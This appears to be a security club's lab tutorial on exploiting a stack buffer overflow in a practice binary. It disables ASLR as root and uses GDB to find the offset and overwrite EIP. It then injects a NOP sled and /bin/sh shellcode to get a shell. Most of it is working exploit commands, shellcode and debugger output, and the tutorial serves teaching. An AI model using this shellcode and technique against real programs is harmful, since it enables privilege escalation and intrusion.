***First, we have to turn off ASLR: - Type "su" utdcsg@pewpew:~$ su Password: p4ssw0rd Give it the password, "p4ssw0rd", then: root@pewpew:/home/utdcsg# echo 0 > /proc/sys/kernel/randomize_va_space root@pewpew:/home/utdcsg# cat /proc/sys/kernel/randomize_va_space 0 We output it just to double check its "0" -------------- -------------- Some useful GDB commands: set disassembly-flavor intel info registers <-- information about $esp, $ebp, $eip, etc.. i r <-- short for info registers i r $ebp <-- replace $ebp with any register name x/500xw <-- 500 can be any number.. play with it a little continue <-- continue execution c <-- short for continue run run break * <-- after * comes an address break <-- ex: break main ni <-- next instruction, one at a time Now, these are the steps in order to exploit: root@pewpew:/home/utdcsg# exit exit utdcsg@pewpew:~$ cd /home/pwn/ utdcsg@pewpew:/home/pwn$ gdb vuln This will bring up GDB. From here 1) set syntax and our two breakpoints.. ----- (gdb) set disassembly-flavor intel (gdb) break main Breakpoint 1 at 0x80483cd: file vuln.c, line 6. (gdb) disassemble main Dump of assembler code for function main: 0x080483c4 : push ebp 0x080483c5 : mov ebp,esp 0x080483c7 : sub esp,0x1fc 0x080483cd : mov eax,DWORD PTR [ebp+0xc] 0x080483d0 : add eax,0x4 0x080483d3 : mov eax,DWORD PTR [eax] 0x080483d5 : mov DWORD PTR [esp+0x4],eax 0x080483d9 : lea eax,[ebp-0x1f4] 0x080483df : mov DWORD PTR [esp],eax 0x080483e2 : call 0x80482fc 0x080483e7 : mov eax,0x0 0x080483ec : leave 0x080483ed : ret End of assembler dump. (gdb) break *0x080483ec Breakpoint 2 at 0x80483ec: file vuln.c, line 8. (gdb) We set two breakpoints, one at main, and one on leave. Now the sequence of commands I gave it.. 2) since we know how big the buffer is already, we'll skip the part on findig it.. ------------ (gdb) run $(python -c 'print "A" * 508 ') Starting program: /home/pwn/vuln $(python -c 'print "A" * 508 ') Breakpoint 1, main (argc=2, argv=0xbffff694) at vuln.c:6 warning: Source file is more recent than executable. 6 strcpy(buffer, argv[1]); // Vulnerable function! (gdb) c Continuing. Breakpoint 2, main (argc=0, argv=0xbffff694) at vuln.c:8 8 } (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) 3) Change return address to make sure we overwrite EIP ---------------- (gdb) run $(python -c 'print "A" * 504 + "\xef\xbe\xad\xde" ') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/pwn/vuln $(python -c 'print "A" * 504 + "\xef\xbe\xad\xde" ') Breakpoint 1, main (argc=2, argv=0xbffff694) at vuln.c:6 6 strcpy(buffer, argv[1]); // Vulnerable function! (gdb) c Continuing. Breakpoint 2, main (argc=0, argv=0xbffff694) at vuln.c:8 8 } (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0xdeadbeef in ?? () (gdb) ^ 0xdeadbeef in ?? () <--- sweet! 4) Add in payload (a little simple addition + subtraction needed) Also, fill in with NOP "\x90".. Then after the payload we keep the A's... remember we need to keep it 504 bytes.. Spend some time really understanding how we set up the payload.. ----------- (gdb) run $(python -c 'print "\x90" * 200 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "A" * 251 + "\xef\xbe\xad\xde"') Starting program: /home/pwn/vuln $(python -c 'print "\x90" * 200 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "A" * 251 + "\xef\xbe\xad\xde"') Breakpoint 1, main (argc=2, argv=0xbffff694) at vuln.c:6 warning: Source file is more recent than executable. 6 strcpy(buffer, argv[1]); // Vulnerable function! (gdb) c Continuing. Breakpoint 2, main (argc=0, argv=0xbffff694) at vuln.c:8 8 } (gdb) x/500xw $esp 0xbffff3ec: 0xbffff3f4 0xbffff7b2 0x90909090 0x90909090 0xbffff3fc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff40c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff41c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff42c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff43c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff44c: 0x90909090 0x90909090 0x90909090 0x90909090 <-- All the NOPs 0xbffff45c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff46c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff47c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff48c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff49c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4ac: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4bc: 0xdb31c031 0x80cd17b0 0x895e1feb 0xc0310876 0xbffff4cc: 0x89074688 0x0bb00c46 0x4e8df389 0x0c568d08 < -- our payload is in here 0xbffff4dc: 0xdb3180cd 0xcd40d889 0xffdce880 0x622fffff 0xbffff4ec: 0x732f6e69 0x41414168 0x41414141 0x41414141 <-- the rest of our A's 0xbffff4fc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff50c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff51c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff52c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff53c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff54c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff55c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff56c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff57c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff58c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff59c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff5ac: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff5bc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff5cc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff5dc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff5ec: 0xdeadbeef 0x00000000 0xbffff694 0xbffff6a0 <-- at the left you'll see our return addr 5) Replace our return address to point to the NOPs 0xbffff47c <-- that address works.. scroll up to find it and see that its in the NOP area Remember its little endian, so the reverse bytes would look like "\x7c\xf4\xff\xbf". If your memory addresses are different, make sure ASLR is off. If it is off and still different, just pick a memory address that points to the NOPs. --------- (gdb) run $(python -c 'print "\x90" * 200 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "A" * 251 + "\x5c\xf4\xff\xbf"') Starting program: /home/pwn/vuln $(python -c 'print "\x90" * 200 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "A" * 251 + "\x5c\xf4\xff\xbf"') Breakpoint 1, main (argc=2, argv=0xbffff694) at vuln.c:6 warning: Source file is more recent than executable. 6 strcpy(buffer, argv[1]); // Vulnerable function! (gdb) c Continuing. Breakpoint 2, main (argc=0, argv=0xbffff694) at vuln.c:8 8 } (gdb) c Continuing. Executing new program: /bin/dash Error in re-setting breakpoint 1: Function "main" not defined. $ --- A shell! great, but we need to quit GDB to have it function properly.. 6) utdcsg@pewpew:/home/pwn$ ./vuln $(python -c 'print "\x90" * 200 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "A" * 251 + "\x5c\xf4\xff\xbf"') Any question, email me at jamesmcfadyen@gmail.com, or join us on irc at Server: irc.oftc.net Channel: #utdcsg Some useful resources: www.mgraziano.info/docs/stsi2010.pdf http://www.cs.cmu.edu/~gilpin/tutorial/ These are for Windows but the theory is the same, and they are very comprehensive: https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/ wargames http://smashthestack.org/